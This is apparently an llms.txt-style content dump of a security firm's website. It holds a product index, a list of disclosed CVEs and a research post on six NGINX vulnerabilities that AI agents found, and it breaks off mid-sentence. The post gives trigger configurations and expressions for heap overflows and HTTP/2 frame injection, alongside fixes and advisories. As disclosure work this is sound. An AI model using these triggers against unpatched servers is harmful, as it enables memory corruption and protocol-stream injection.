# winfunc > winfunc is an AI-native security engineering platform that finds, triages, and patches codebase vulnerabilities in hours. ## Core Pages - [Home](https://winfunc.com/): AI-native security engineering platform for finding, triaging, and patching codebase vulnerabilities in hours. - [Winfunc Scanner](https://winfunc.com/products/scanner): Autonomous AI agents for SAST, SCA, AI triage, PR security, autofix, analytics, infrastructure checks, and CI integration. - [Features](https://winfunc.com/features): Overview of winfunc product capabilities across vulnerability discovery, proof generation, triage, and remediation. - [Research](https://winfunc.com/research): Technical research, vulnerability writeups, and engineering notes from the winfunc lab. - [Hacktivity](https://winfunc.com/hacktivity): Public vulnerability findings discovered and reported by winfunc. - [Get Hacked](https://winfunc.com/get-hacked): Free security assessment funnel for mission-critical systems and YC companies. - [Trust Center](https://winfunc.com/trust): Security, compliance, SOC 2 Type II, data handling, architecture, and SLA posture. - [Integrations](https://winfunc.com/integrations): Integrations with GitHub, GitLab, Bitbucket, Jira, Slack, Teams, CI/CD tools, and developer workflows. - [About](https://winfunc.com/about): Company story, autonomous security agent thesis, roadmap, and founder links. ## Products - [Vulnerability Detection](https://winfunc.com/products/scanner/vulnerability-detection): Multi-phase SAST with source-to-sink tracing and executable proof-of-concept generation. - [Dependency Scanning](https://winfunc.com/products/scanner/dependency-scanning): Software composition analysis across major package ecosystems with CVE and OSV coverage. - [Autofix](https://winfunc.com/products/scanner/autofix): AI-generated security patches delivered as reviewable pull requests. - [AI Security Assistant](https://winfunc.com/products/scanner/ai-triager): Repository-aware chat assistant for validation, triage, and security investigation. - [PR Security Scanning](https://winfunc.com/products/scanner/pr-security): Incremental pull request security scanning and optional auto-review comments. - [Security Analytics & Reporting](https://winfunc.com/products/scanner/analytics): Security posture scores, trends, aging analysis, and PDF-exportable reports. - [Infrastructure & Cloud](https://winfunc.com/products/scanner/infrastructure): IaC, Kubernetes, container, cloud misconfiguration, secrets, and compliance checks. - [CI Integration](https://winfunc.com/products/scanner/ci-integration): Native scanning workflows for GitHub Actions, GitLab, Jenkins, CircleCI, and Azure. - [Dome](https://winfunc.com/products/dome): Security policies as a type system with build-time enforcement, runtime proxy, and sandboxing. ## Solutions - [Application Security](https://winfunc.com/solutions/application-security): End-to-end AppSec across SAST, SCA, business logic testing, and automated remediation. - [DevSecOps](https://winfunc.com/solutions/devsecops): Security workflows embedded into CI/CD and pull request review. - [Compliance](https://winfunc.com/solutions/compliance): Audit-ready security evidence for SOC 2, ISO 27001, and security reviews. - [Supply Chain Security](https://winfunc.com/solutions/supply-chain): Dependency risk management, SCA, prioritization, and remediation. - [Penetration Testing](https://winfunc.com/solutions/penetration-testing): Autonomous penetration testing with attack mapping and executable proofs. - [Vulnerability Management](https://winfunc.com/solutions/vulnerability-management): Discovery-to-resolution workflows, dedupe, triage, aging buckets, and autofix PRs. - [Financial Services](https://winfunc.com/solutions/financial-services): Security coverage for transaction flows, auth bypass, PCI-aligned evidence, and financial logic. - [Healthcare](https://winfunc.com/solutions/healthcare): HIPAA-oriented security checks, PHI tracing, encryption verification, and audit evidence. - [SaaS](https://winfunc.com/solutions/saas): Security for multi-tenant SaaS, APIs, auth, and fast-moving product teams. ## Research - [Finding six NGINX vulnerabilities with open models](https://winfunc.com/research/endginx): We used GLM-5.1 and GLM-5.2 to scan NGINX. The scan produced six security findings with five CVE identifiers. This report describes the affected code, analysis traces, and proof conditions. Published July 23, 2026; updated July 23, 2026. Author: Mufeed VH. - [Hacking the old HackerNews codebase](https://winfunc.com/research/hacking-the-old-hackernews-codebase): Auditing the old HackerNews codebase for security vulnerabilities with LLMs on a specialized harness. Published April 18, 2026; updated April 18, 2026. Author: Mufeed VH. - [What an automated vulnerability research system actually found](https://winfunc.com/research/what-an-automated-vulnerability-research-system-actually-found): Thirteen patched bugs across nine projects, including Node.js, React, NGINX, Mattermost, Supabase, Bun, Gumroad, Anthropic's MCP SDK, and Better-Auth. What the system got right, where it still falls over, and why executable PoCs matter more than model reasoning. Published March 26, 2026; updated March 26, 2026. Author: Mufeed VH. - [How Asterisk Works](https://winfunc.com/research/how-winfunc-works): A repost of the original Asterisk architecture: how an AI security agent indexed code, generated attack ideas, verified vulnerabilities, and produced patches with low-noise reports. Published Aug 30, 2024; updated Aug 30, 2024. Author: Mufeed VH. ## Public Vulnerability Findings - [Stream complex-value capture desynchronization causes heap overflow (CVE-2026-42533)](https://winfunc.com/hacktivity/CVE-2026-42533): NGINX; severity High; CVE-2026-42533. NGINX stream complex values allocated from stale capture state, then copied attacker-controlled regex captures - [seroval.fromJSON() Promise resolver type confusion invokes attacker-controlled methods (CVE-2026-59940)](https://winfunc.com/hacktivity/CVE-2026-59940): seroval; severity Critical; CVE-2026-59940. Promise control nodes trusted attacker-controlled values from Seroval's general deserialization reference table - [gRPC forwarded headers can overflow the upstream HPACK request buffer (CVE-2026-42055)](https://winfunc.com/hacktivity/nginx-grpc-forwarded-header-hpack-overflow): NGINX; severity High; CVE-2026-42055. NGINX gRPC upstream sizing reserved four HPACK length bytes but serialized larger raw header strings with five - [HTTP/2 upstream proxy request encoder permits heap overflow with oversized raw headers (CVE-2026-42055)](https://winfunc.com/hacktivity/nginx-proxy-v2-forwarded-header-hpack-overflow): NGINX; severity High; CVE-2026-42055. NGINX HTTP/2 upstream proxy request encoding under-counted oversized raw forwarded headers - [Type Confusion in V8 (CVE-2026-10910)](https://winfunc.com/hacktivity): Chromium; severity High; CVE-2026-10910. REDACTED - [Uninitialized Use in ANGLE (CVE-2026-10994)](https://winfunc.com/hacktivity): Chromium; severity Medium; CVE-2026-10994. REDACTED - [Integer overflow in ANGLE (CVE-2026-10019)](https://winfunc.com/hacktivity): Chromium; severity Medium; CVE-2026-10019. REDACTED - [rewrite overlapping captures heap overflow (CVE-2026-9256)](https://winfunc.com/hacktivity/CVE-2026-9256): NGINX; severity High; CVE-2026-9256. NGINX under-sized rewrite redirect buffers when distinct overlapping captures were escaped independently - [HTTP/2 upstream frame injection via oversized proxy_set_body (CVE-2026-42926)](https://winfunc.com/hacktivity/CVE-2026-42926): NGINX; severity Medium; CVE-2026-42926. NGINX serialized proxy_set_body output as one HTTP/2 DATA frame and truncated the 24-bit frame length - [stream accepts revoked client certificates despite ssl_ocsp on (CVE-2026-28755)](https://winfunc.com/hacktivity/CVE-2026-28755): NGINX; severity Medium; CVE-2026-28755. NGINX `stream` module allows TLS handshake to succeed with revoked client certificates when `ssl_ocsp on` is configured - [SCGI unbuffered mode sent truncated CONTENT_LENGTH causing backend desync](https://winfunc.com/hacktivity/nginx-scgi-content-length-unbuffered): NGINX; severity Medium. NGINX SCGI used buffered-prefix body length in unbuffered mode; fix now uses canonical content length inputs - [WebDAV COPY/MOVE path overlap corrupts files and collections](https://winfunc.com/hacktivity/nginx-dav-copy-move-path-overlap): NGINX; severity High. NGINX DAV accepted COPY and MOVE operations whose source and Destination resolved to the same path or overlapping collection paths - [RSC reply decoder DoS via $K FormData amplification (CVE-2026-23864)](https://winfunc.com/hacktivity/CVE-2026-23864): React; severity High; CVE-2026-23864. Unbounded $K expansions allow FormData amplification during RSC reply decoding - [Permission model bypass via unchecked Unix Domain Socket connections (CVE-2026-21636)](https://winfunc.com/hacktivity/CVE-2026-21636): Node.js; severity Medium; CVE-2026-21636. Node.js permission model fails to enforce network restrictions for Unix Domain Socket connections - [Authentication bypass on FastMCP custom routes](https://winfunc.com/hacktivity/anthropic-fastmcp-auth-bypass): Anthropic; severity Critical. Broken Access Control in FastMCP custom routes - [SQL Injection via queueName in getDatabaseQueuesMetrics](https://winfunc.com/hacktivity/supabase-sql-injection-via-queue-names): Supabase; severity Critical. SQL Injection via queueName in getDatabaseQueuesMetrics - [Exponential merge keys in Bun's YAML implementation leads to DoS](https://winfunc.com/hacktivity/bun-yaml-dos): Bun; severity High. Exponential merge keys in `Bun.YAML.parse` trigger CPU exhaustion - [0-click Account Takeover and Admin Operations via helper endpoint authorization bypass](https://winfunc.com/hacktivity/gumroad-helper-auth-bypass-ato): Gumroad; severity Critical. Broken Access Control allows unauthenticated email updates via Helper API - [Remote cluster PATCH response leaked authentication tokens (CVE-2026-7184)](https://winfunc.com/hacktivity/CVE-2026-7184): Mattermost; severity Medium; CVE-2026-7184. Remote-cluster PATCH returned the updated model before clearing token fields - [Group syncable scheme_admin authorization bypass (CVE-2026-7387)](https://winfunc.com/hacktivity/CVE-2026-7387): Mattermost; severity High; CVE-2026-7387. Group-syncable link and patch endpoints accepted role-granting scheme_admin changes under weaker link permissions - [mmctl terminal escape injection via unsanitized server-controlled output (CVE-2026-3108)](https://winfunc.com/hacktivity/CVE-2026-3108): Mattermost; severity High; CVE-2026-3108. mmctl rendered user-controlled Mattermost content to administrator terminals without stripping ANSI, OSC, DCS, or other control sequences - [Zip bomb memory exhaustion in recursive document extraction (CVE-2026-3114)](https://winfunc.com/hacktivity/CVE-2026-3114): Mattermost; severity Medium; CVE-2026-3114. Archive extraction limited compressed upload size but not decompressed entry size - [Group member IDs leaked because GetGroup bypassed view restrictions (CVE-2026-3115)](https://winfunc.com/hacktivity/CVE-2026-3115): Mattermost; severity Medium; CVE-2026-3115. Group member ID expansion ignored the caller's ViewUsersRestrictions - [mmctl export downloads created world-readable local files (CVE-2026-3113)](https://winfunc.com/hacktivity/CVE-2026-3113): Mattermost; severity Medium; CVE-2026-3113. Export files downloaded with mmctl inherited unsafe filesystem permissions - [Private channel enumeration through /mute error messages (CVE-2026-21386)](https://winfunc.com/hacktivity/CVE-2026-21386): Mattermost; severity Medium; CVE-2026-21386. `/mute` exposed whether a private channel existed by returning a distinct not-member error - [Oversized password login DoS in legacy password comparison (CVE-2026-24458)](https://winfunc.com/hacktivity/CVE-2026-24458): Mattermost; severity High; CVE-2026-24458. Login password comparison paths accepted attacker-supplied passwords without enforcing the maximum password length first - [User-Agent version parser panic during session creation (CVE-2026-25783)](https://winfunc.com/hacktivity/CVE-2026-25783): Mattermost; severity Medium; CVE-2026-25783. Malformed Mattermost-specific User-Agent prefixes could panic `getBrowserVersion` - [SSRF protection bypass via IPv4-mapped IPv6 literals (CVE-2026-2455)](https://winfunc.com/hacktivity/CVE-2026-2455): Mattermost; severity Medium; CVE-2026-2455. IPv4-mapped IPv6 addresses were not canonicalized before reserved-range checks - [Multi-session sign-out hook allows forged cookies to revoke arbitrary sessions](https://winfunc.com/hacktivity/better-auth-multi-session-signout-ato): Better-Auth; severity Medium. Multi-session sign-out hook allows forged cookies to revoke arbitrary sessions - [HTTP/1.1 CL.TE request smuggling in actix-http (GHSA-xhj4-vrgc-hr34)](https://winfunc.com/hacktivity/GHSA-xhj4-vrgc-hr34): Actix; severity Medium. actix-http accepted conflicting Content-Length and Transfer-Encoding: chunked request framing - [Hoppscotch CLI sandbox escape through Node vm pre-request scripts (CVE-2024-34347)](https://winfunc.com/hacktivity/CVE-2024-34347): Hoppscotch; severity High; CVE-2024-34347. Hoppscotch CLI ran collection scripts in Node's vm while exposing host-created objects ## Authors - [Mufeed VH](https://winfunc.com/author/mufeed-vh): Co-founder and CEO. External profile: https://mufeedvh.com. - [Vivek R](https://winfunc.com/author/vivek-r): Co-founder and CTO. External profile: https://123vivekr.com/. ## External Profiles - [Y Combinator](https://www.ycombinator.com/companies/winfunc): winfunc company profile. - [GitHub](https://github.com/winfunc): winfunc organization. - [LinkedIn](https://www.linkedin.com/company/winfunc): winfunc company page. - [X](https://x.com/winfunction): winfunc social profile. ## Notes For AI Systems Use canonical URLs under `https://winfunc.com`. Research posts are under `/research/`. Public vulnerability findings are under `/hacktivity/`. Product information for the scanner is under `/products/scanner`. --- # Full Content ## Company Summary winfunc builds AI security agents that audit codebases, prove vulnerabilities with executable proof-of-concepts, triage findings, and deliver fixes as pull requests. The platform combines SAST, SCA, AI triage, automated remediation, PR security, reporting, infrastructure checks, and CI/CD integrations. ## Products And Solutions ### Vulnerability Detection URL: https://winfunc.com/products/scanner/vulnerability-detection Multi-phase SAST with source-to-sink tracing and executable proof-of-concept generation. ### Dependency Scanning URL: https://winfunc.com/products/scanner/dependency-scanning Software composition analysis across major package ecosystems with CVE and OSV coverage. ### Autofix URL: https://winfunc.com/products/scanner/autofix AI-generated security patches delivered as reviewable pull requests. ### AI Security Assistant URL: https://winfunc.com/products/scanner/ai-triager Repository-aware chat assistant for validation, triage, and security investigation. ### PR Security Scanning URL: https://winfunc.com/products/scanner/pr-security Incremental pull request security scanning and optional auto-review comments. ### Security Analytics & Reporting URL: https://winfunc.com/products/scanner/analytics Security posture scores, trends, aging analysis, and PDF-exportable reports. ### Infrastructure & Cloud URL: https://winfunc.com/products/scanner/infrastructure IaC, Kubernetes, container, cloud misconfiguration, secrets, and compliance checks. ### CI Integration URL: https://winfunc.com/products/scanner/ci-integration Native scanning workflows for GitHub Actions, GitLab, Jenkins, CircleCI, and Azure. ### Dome URL: https://winfunc.com/products/dome Security policies as a type system with build-time enforcement, runtime proxy, and sandboxing. ### Application Security URL: https://winfunc.com/solutions/application-security End-to-end AppSec across SAST, SCA, business logic testing, and automated remediation. ### DevSecOps URL: https://winfunc.com/solutions/devsecops Security workflows embedded into CI/CD and pull request review. ### Compliance URL: https://winfunc.com/solutions/compliance Audit-ready security evidence for SOC 2, ISO 27001, and security reviews. ### Supply Chain Security URL: https://winfunc.com/solutions/supply-chain Dependency risk management, SCA, prioritization, and remediation. ### Penetration Testing URL: https://winfunc.com/solutions/penetration-testing Autonomous penetration testing with attack mapping and executable proofs. ### Vulnerability Management URL: https://winfunc.com/solutions/vulnerability-management Discovery-to-resolution workflows, dedupe, triage, aging buckets, and autofix PRs. ### Financial Services URL: https://winfunc.com/solutions/financial-services Security coverage for transaction flows, auth bypass, PCI-aligned evidence, and financial logic. ### Healthcare URL: https://winfunc.com/solutions/healthcare HIPAA-oriented security checks, PHI tracing, encryption verification, and audit evidence. ### SaaS URL: https://winfunc.com/solutions/saas Security for multi-tenant SaaS, APIs, auth, and fast-moving product teams. ## Research Posts ### Finding six NGINX vulnerabilities with open models URL: https://winfunc.com/research/endginx Author: Mufeed VH Published: July 23, 2026 Updated: July 23, 2026 Tags: nginx, vulnerability-research, open-models, agents We used GLM-5.1 and GLM-5.2 to scan NGINX. The scan produced six security findings with five CVE identifiers. This report describes the affected code, analysis traces, and proof conditions. #### Content We used open models to test whether they could find new vulnerabilities in mature systems code. We selected NGINX because it is widely deployed, written in C, and has received extensive security review. NGINX uses two-pass encoders, compact binary protocols, shared request state, and configuration-dependent control flow. These features require analysis across functions and modules. A local code fragment is often not enough to confirm a vulnerability. We ran Winfunc with GLM-5.1 and GLM-5.2 from Z.AI. The scan produced six public NGINX findings: - two heap overflows in HTTP/2 upstream request builders; - one heap overflow in the rewrite engine; - one heap overflow in the stream scripting engine; - one HTTP/2 frame-injection bug; and - one mTLS authorization bypass where a revoked certificate was accepted. CVEs: [CVE-2026-28755](/hacktivity/CVE-2026-28755) [CVE-2026-42926](/hacktivity/CVE-2026-42926) [CVE-2026-9256](/hacktivity/CVE-2026-9256) [CVE-2026-42055](/hacktivity/nginx-grpc-forwarded-header-hpack-overflow) (gRPC) [CVE-2026-42055](/hacktivity/nginx-proxy-v2-forwarded-header-hpack-overflow) (proxy) [CVE-2026-42533](/hacktivity/CVE-2026-42533). All F5/NGINX advisories for the six vulnerabilities credit "Mufeed VH of Winfunc Research". > [!A note on the traces] > > We reconstructed the analysis below from stored traces from several NGINX scans. We rerun targets when the agent or model changes. These scans therefore used more than one model provider. The traces show how the agent inspected the code and rejected invalid hypotheses. They do not identify which model first found each CVE. This experiment used GLM-5.1 and GLM-5.2. > > The source-analysis agents used read-only repository tools. They produced evidence and test plans. Separate build and reproduction environments produced the AddressSanitizer and live-service results on the Hacktivity pages. ## Why NGINX We did not use a known-vulnerability corpus. In those corpora, the affected function is usually known before the scan starts. We wanted the agent to select relevant code, verify reachability, and produce evidence that a maintainer could review. NGINX also has several code patterns that require cross-file analysis. A field named `len` can refer to an allocation size, a serialized size, or a 24-bit wire value. Script modules can evaluate the same expression once for sizing and again for copying. Header validation depends on configuration. HTTP, stream, gRPC, and upstream HTTP/2 use some shared helpers but have separate enforcement paths. Each finding in this post involved a mismatch between two related operations. ## How the scan worked The following description omits prompts, target-specific mission plans, ranking rules, and model-routing settings. An initialization pass maps the repository. It records exposed entry points, authentication, trust boundaries, configuration surfaces, and attacker-controlled inputs. A planner uses this information to create bounded scan tasks. For NGINX, a task can focus on data that crosses a wire-format limit, expands during encoding, or passes through separate size and copy operations. Discovery runs in two paths. A low-cost gate selects files for file-level analysis. At the same time, mission agents follow hypotheses across files and modules. The harness groups and deduplicates the resulting candidates. The judge checks the attacker-controlled source, trigger path, failed condition, sink, prerequisites, and failure mode. A reporter then reads the relevant code again. The reporter can confirm the finding, reject it, or retain it as a non-standalone gadget. A later pass can combine confirmed findings and gadgets. Select a stage in the diagram to see its input, output, and validation rule. ![Interactive public view of the winfunc-agent vulnerability research pipeline](assets/harness-static.svg "research-visual:endginx-harness") The first two stages decide **where to look** and **what condition to test**. The remaining stages manage concurrent work, retries, deduplication, validation, and stored evidence. ## Six findings, five CVE numbers The gRPC and HTTP/2 proxy reports share CVE-2026-42055. They are separate findings because they affect different modules and have separate trigger paths. The view below summarizes all six findings. ![Interactive source-to-proof map of the six NGINX findings](assets/findings-static.svg "research-visual:endginx-findings") ### 1. Stream TLS did not enforce the OCSP result [CVE-2026-28755](/hacktivity/CVE-2026-28755) **Medium · CVSS 3.1 5.4 · `ngx_stream_ssl_module`** The scan trace compared the HTTP and stream TLS paths. It searched for `ngx_ssl_ocsp_get_status`. NGINX uses this helper to retrieve the result of client-certificate OCSP validation. The HTTP TLS path called the helper before it allowed a request to continue. The stream TLS path did not call it. A missing call was not enough to confirm a vulnerability. Common handshake code could enforce the result. OpenSSL could reject the certificate. A later stream phase could also reject the connection. The agent checked each case. It first read the HTTP enforcement path. It then traced the OCSP state that NGINX stores during the handshake. It inspected the shared SSL callback and searched the stream module for another status check. It also compared the mail TLS path. The agent also followed `ngx_stream_ssl_handler()` into the stream phase engine. This confirmed that a successful return allowed access to the configured upstream application. The stream handler checked the standard certificate verification result: ```c /* Reduced to the relevant decisions. */ if (SSL_get_verify_result(ssl) != X509_V_OK) { reject_connection(); } if (client_certificate_required && no_peer_certificate(ssl)) { reject_connection(); } /* The stored OCSP result was not consulted here. */ continue_stream_session(); ``` Certificate-chain verification and OCSP validation are separate checks. OpenSSL can accept the certificate chain while NGINX's asynchronous OCSP check reports that the leaf certificate is revoked. The HTTP path checked both results. The stream path checked only the standard certificate verification result. The issue required all of these conditions: - NGINX terminated stream TLS; - `ssl_verify_client on` and `ssl_ocsp on` were configured; and - the attacker had a revoked client certificate and its private key. Under these conditions, the revoked certificate could complete stream mTLS. The connection could then reach the protected upstream until the certificate expired. Later runtime validation confirmed the behavior. The OCSP check reported the certificate as revoked, but the stream connection still received application data. NGINX Open Source 1.27.2 through 1.29.6 was affected. The fixes shipped in 1.28.3 and 1.29.7. F5 assigned CVSS 3.1 5.4 and credits Winfunc. The [full Winfunc report](/hacktivity/CVE-2026-28755) contains the configuration and proof. The [F5 advisory](https://my.f5.com/manage/s/article/K000160368) contains the supported-version matrix. ### 2. HTTP/2 upstream proxy truncated an oversized body length [CVE-2026-42926](/hacktivity/CVE-2026-42926) **Medium · CVSS 3.1 5.8 · HTTP/2 upstream proxy** The scan trace started at these assignments: ```c header->length_0 = (u_char) (body_len >> 16); header->length_1 = (u_char) (body_len >> 8); header->length_2 = (u_char) body_len; ``` An HTTP/2 frame uses a 24-bit payload length. The maximum value is 16,777,215. NGINX stored the generated `proxy_set_body` length in a `size_t`. It copied only the low 24 bits into the DATA-frame header. It then placed the full generated body after that header. The agent traced the code that compiles `proxy_set_body` as a complex value. Request variables can affect the output of that value. The agent also confirmed that `proxy_http_version 2` selects the affected upstream path. The agent compared the gRPC DATA-frame builder and found the constant for the maximum HTTP/2 frame size. It searched the proxy-v2 code for two protections: a body-length limit and a loop that divided the body into valid frames. The affected code had neither protection. The following example shows the length mismatch: ```text generated body length 0x01000009 (16,777,225 bytes) encoded 24-bit length 0x000009 (9 bytes) bytes actually transmitted 16,777,225 ``` The upstream parser reads nine bytes as the DATA payload. It then treats the next bytes as another HTTP/2 frame header. Request-derived data can control those remaining bytes. An attacker can therefore place additional frames in the NGINX-to-upstream HTTP/2 stream. The issue changes the upstream protocol stream. It does not overwrite the NGINX worker heap. The vulnerable configuration used `proxy_http_version 2`. It also used a `proxy_set_body` value that could exceed 16,777,215 bytes. Practical exploitation required attacker-controlled data after the wrapped DATA-frame boundary. Later validation captured the upstream byte stream and confirmed the frame-length mismatch. NGINX Open Source 1.29.4 through 1.30.0 was affected. Versions 1.30.1 and 1.31.0 route generated bodies through the normal bounded DATA-frame output path. The fix is commit `c24fb259`. The [full finding](/hacktivity/CVE-2026-42926) shows the frame layout. F5 scores it 5.8 under CVSS 3.1 and 6.3 under CVSS 4.0 in its [advisory](https://my.f5.com/manage/s/article/K000161131). ### 3. Overlapping rewrite captures caused an undersized allocation [CVE-2026-9256](/hacktivity/CVE-2026-9256) **High in Hacktivity · CVSS 3.1 8.1 · HTTP rewrite engine** NGINX compiles a rewrite directive into a length program and a copy program. The length program calculates the allocation size. The copy program writes the result. Both programs must calculate the same output size. The scan trace started at `dup_capture`. The compiler uses this flag to detect repeated references to the same capture number. The agent followed the capture-only fast path in the rewrite compiler. In this path, the compiler could discard the exact capture-aware length bytecode. The agent then checked whether the generic size calculation could differ from the copy operation. The agent traced the request flags that control URI escaping. These included `plus_in_uri` and `quoted_uri`. It read the escape routine and followed the request-pool allocation. It then checked two different capture numbers that refer to overlapping byte ranges. For example: ```nginx rewrite ^/((.*))$ http://127.0.0.1:18081/$1$2 redirect; ``` `$1` and `$2` have different capture numbers. The duplicate-capture guard does not treat them as the same capture. However, both captures include bytes from the same URI region. Some URI bytes require escaping in the replacement. The fast length path adds the URI escape expansion once. The copy path escapes `$1` and `$2` separately. It therefore escapes the overlapping bytes twice. The size difference is: ```text allocated = base + escaped_length(uri) written = base + escaped_length(capture_1) + escaped_length(capture_2) ``` For overlapping captures, `written` can be greater than `allocated`. The scan checked three possible false-positive conditions. First, `dup_capture` did not reject the nested groups because they had different indices. Second, the optimized form did not retain the slow length program. Third, request parsing preserved the flags that caused escaping during rewrite execution. Later AddressSanitizer validation used a URI that contained many `+` characters. The copy operation wrote past a 4,096-byte request-pool allocation in `ngx_http_script_copy_capture_code()`. The fix makes the length calculation process each capture in the same way as the copy program. [NGINX PR #1395](https://github.com/nginx/nginx/pull/1395) and commit `ca4f92a` added the fix. It shipped in versions 1.30.2 and 1.31.1. F5 assigned CVSS 3.1 8.1 and CVSS 4.0 9.2. The complete trigger and ASan trace are in the [Winfunc report](/hacktivity/CVE-2026-9256) and affected-version details are in the [F5 advisory](https://my.f5.com/manage/s/article/K000161377). ### 4. The gRPC request builder undercounted HPACK length fields [CVE-2026-42055](/hacktivity/nginx-grpc-forwarded-header-hpack-overflow) **High in Hacktivity · CVSS 3.1 8.1 · `ngx_http_grpc_module`** HPACK uses variable-length integers. The NGINX gRPC upstream request builder reserved four bytes for an encoded forwarded-header length. The HPACK encoder can require five bytes for a raw field above `NGX_HTTP_V2_MAX_FIELD`. For each affected field, the allocation was one byte too small. Multiple oversized fields increased the size difference. The scan first examined the HPACK constants and the integer writer. It then followed client-header parsing and the effect of `large_client_header_buffers`. Default NGINX settings reject the exact oversized input. The default configuration was therefore not affected. The agent then identified a non-default configuration that retains otherwise invalid raw headers and increases the buffer limit: ```nginx ignore_invalid_headers off; large_client_header_buffers 8 5m; location / { grpc_pass grpc://backend; } ``` The buffer sizes are operator-controlled. The configuration must permit a forwarded raw header name or value that crosses the HPACK integer-width boundary. The agent confirmed that retained headers reach `ngx_http_grpc_create_request()`. It also confirmed that `grpc_pass` selects the affected request builder. It found no outgoing `NGX_HTTP_V2_MAX_FIELD` check before allocation. The agent then compared the allocation expression with the HPACK encoder. The difference was: ```text buffer budget per oversized raw length = 4 bytes HPACK serialization requirement = 5 bytes deficit across N forwarded fields = N bytes ``` The builder also inserts HTTP/2 CONTINUATION frames. The accumulated size difference can move the write past the end of the temporary request buffer. Later AddressSanitizer validation confirmed an out-of-bounds write during construction of the upstream gRPC request. The report classifies the demonstrated result as unauthenticated worker memory corruption under a non-default configuration. It does not claim reliable remote code execution. F5 states that code execution is possible if address-space randomization is disabled or bypassed. The validation did not demonstrate that additional condition. The [gRPC finding page](/hacktivity/nginx-grpc-forwarded-header-hpack-overflow) contains the full configuration, field construction, and sanitizer evidence. ### 5. The HTTP/2 proxy request builder had the same HPACK size error [CVE-2026-42055](/hacktivity/nginx-proxy-v2-forwarded-header-hpack-overflow) **High in Hacktivity · CVSS 3.1 8.1 · HTTP/2 upstream proxy** A separate request builder reserved the same four-byte allowance before it called the variable-length HPACK encoder. The scan searched the HTTP/2 upstream proxy implementation for the HPACK constants and write helpers. It confirmed that `proxy_http_version 2` selects this implementation. The agent then traced how NGINX retains and forwards HTTP/1.x client headers. It repeated the large-header configuration checks from the gRPC finding. It also followed the choice between raw and Huffman encoding. This confirmed that the five-byte raw encoding path was reachable. The affected function was `ngx_http_proxy_v2_create_request()`. The confirmed write occurred in the `ngx_memmove()` loop that inserts CONTINUATION-frame headers. The temporary buffer was already short by one byte for each over-limit field. The move operation then wrote serialized data past the allocation. Later validation confirmed the out-of-bounds write in the HTTP/2 proxy request builder. This path has a separate finding because users can enable either upstream mode independently. The gRPC and proxy implementations use different request builders. They also reach different write operations. Both implementations had the same size-calculation error. The fix rejects forwarded field names and values above the supported HTTP/2 field limit before buffer allocation. Both paths were fixed by [NGINX PR #1474](https://github.com/nginx/nginx/pull/1474) and commit `26d824e`. The gRPC path dates back to 1.13.10. The HTTP/2 upstream proxy path only exists in the newer 1.29.x line. The mainline, stable, and NGINX Plus ranges differ. Open Source fixes shipped in 1.30.3 and 1.31.2. F5 scores CVE-2026-42055 at 8.1 under CVSS 3.1 and 9.2 under CVSS 4.0. The [proxy-v2 finding](/hacktivity/nginx-proxy-v2-forwarded-header-hpack-overflow) and [gRPC finding](/hacktivity/nginx-grpc-forwarded-header-hpack-overflow) contain their separate proofs. F5's [CVE-2026-42055 advisory](https://my.f5.com/manage/s/article/K000161584) covers both paths. ### 6. Stream capture state changed between the length and copy passes [CVE-2026-42533](/hacktivity/CVE-2026-42533) **High in Hacktivity · CVSS 3.1 8.1 · stream scripting engine** NGINX stream complex values can use a length program and a copy program. The length program calculates the allocation size. The copy program writes the value. Both programs read regular-expression captures from the stream session. The capture state must remain unchanged between the two passes. The scan searched for the mutable session fields `captures`, `ncaptures`, and `captures_data`. It then found each stream regular-expression operation that could update those fields. The agent followed complex-value evaluation through the stream map module and the return module. It also checked variable expansion, preread processing, and TLS SNI extraction. One affected expression is: ```nginx return "$1$m"; ``` `$m` is a variable backed by a regular-expression map over attacker-controlled SNI. At the start of the length pass, `$1` has no capture value. It contributes zero bytes. Evaluation of `$m` then runs the map regular expression. This operation updates the shared capture state on the stream session. The copy pass evaluates the expression again. It now sees the capture that the map created and copies it. ```text length pass: len($1) = 0 eval($m) -> regex matches SNI, session captures change allocation = 1 byte copy pass: copy($1) -> capture now references attacker SNI copy 12,000 bytes into the one-byte allocation ``` The scan checked the complete evaluation order. It confirmed that the map lookup updates the shared capture state. It confirmed that attacker-controlled SNI supplies the capture data. It also followed the pool allocation and compared the HTTP script implementation for the same unbounded capture-copy operation. Later AddressSanitizer validation confirmed the result. NGINX copied 12,000 bytes into a one-byte allocation in `ngx_stream_script_copy_capture_code()`. NGINX fixed the issue with centralized bounds checks. The copy operation now stops if a capture does not fit in the allocated buffer. Mainline changes landed through [PR #1561](https://github.com/nginx/nginx/pull/1561), with stable backports in [PR #1563](https://github.com/nginx/nginx/pull/1563). NGINX Open Source 0.9.6 through 1.31.2 was affected. The fixes are in 1.30.4 and 1.31.3. F5 scores the issue 8.1 under CVSS 3.1 and 9.2 under CVSS 4.0. That CVSS 4.0 score maps to Critical in F5's advisory; Hacktivity keeps the finding labeled High. The [full Winfunc analysis](/hacktivity/CVE-2026-42533) includes the reproducer and sanitizer output, while the [F5 advisory](https://my.f5.com/manage/s/article/K000162097) contains the product matrix. ## How the agent evaluated each lead The agent did not promote an initial code match directly into a finding. It checked the condition that was most likely to invalidate each lead. | Finding | Initial lead | What had to be ruled out | |---|---|---| | Stream OCSP | HTTP consumed an OCSP result that stream did not | common-handshake enforcement, OpenSSL failure, later stream rejection | | Frame injection | body length was wider than the 24-bit frame field | frame splitting, generated-body bounds, unreachable HTTP/2 upstream path | | Rewrite overflow | capture fast path discarded exact sizing | duplicate-capture guard, URI normalization, slow length bytecode | | gRPC HPACK | the builder reserved four bytes for a variable-length encoding | default input limits, header rejection, outgoing max-field enforcement | | Proxy HPACK | the proxy builder used the same four-byte budget | feature dispatch, Huffman selection, forwarded-header normalization | | Stream captures | two passes read mutable regex state | evaluation order, session ownership, attacker-controlled SNI reachability | In each trace, the agent formed a hypothesis. It then identified a condition that could disprove the hypothesis and used read-only tools to check that condition. The reports did not rely on the reasoning traces alone. Each report identified the source, reachable configuration, failed condition, sink, proof, and false-positive checks. The six reports resulted in upstream fixes. ## The harness doesn't really matter The harness is necessary for scan operations. It limits repository access, coordinates concurrent work, applies backpressure, retries failed jobs, removes duplicate candidates, and stores an audit trail. It also separates an initial hypothesis from a confirmed report. The harness now contributes less to the vulnerability reasoning than it did in earlier versions. Earlier versions gave the model detailed steps for source identification, sink analysis, reachability, vulnerability classes, and review. Current models can perform more of this work without step-by-step prompts. Raw candidates still include false positives. The judge and reporter must verify each candidate before it becomes a report. After these checks, the false-positive rate is low enough for a researcher to review the reports directly instead of sorting the raw candidates. The NGINX findings required code-specific analysis. The OCSP issue required a comparison of separate authorization paths. The stream scripting 